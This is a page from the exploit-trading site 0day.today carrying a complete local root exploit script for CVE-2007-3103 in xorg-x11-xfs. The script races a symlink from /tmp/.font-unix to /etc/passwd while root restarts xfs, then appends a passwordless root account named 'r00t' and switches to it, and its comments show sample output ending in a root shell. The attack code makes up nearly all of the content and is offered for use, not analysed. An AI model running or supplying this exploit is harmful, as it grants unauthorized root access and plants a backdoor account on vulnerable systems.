0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
X.Org xorg-x11-xfs <= 1.0.2-3.1 Local Race Condition Exploit
[============================================================
X.Org xorg-x11-xfs <= 1.0.2-3.1 Local Race Condition Exploit
============================================================
#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
#
# Another lame xploit by vl4dZ :)) works on redhat el5 and before
#
# $ id
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# $ sh xfs-RaceCondition-root-exploit.sh
# [*] Generate large data file in /tmp/.font-unix
# [*] Wait for xfs service to be (re)started by root...
# [*] Hop, symlink created...
# [*] Launching root shell
# -sh-3.1# id
# uid=0(root) gid=0(root) groups=0(root)
# Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is
# located in the start() function of the /etc/init.d/xfs script:
# ...
# rm -rf $FONT_UNIX_DIR
# mkdir $FONT_UNIX_DIR
# chown root:root $FONT_UNIX_DIR
# chmod 1777 $FONT_UNIX_DIR
# ...
# I'm listening right now to nice free music:
# http://www.jamendo.com/fr/album/5919
FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000
if [ ! -d $FontDir ]; then
printf "Is xfs running ?\n"
exit 1
fi
cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF
cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
printf "Error: Cant compile code"
exit 1
fi
printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
printf "Error: cant create large file"
exit 1
fi
printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
printf "Error: code failed...\n"
exit 1
fi
if [ -L /tmp/.font-unix ]; then
printf "[*] Hop, symlink created...\n"
printf "[*] Launching root shell\n"
sleep 2
rm -f /tmp/.font-unix
echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t
# 0day.today [2024-11-16] #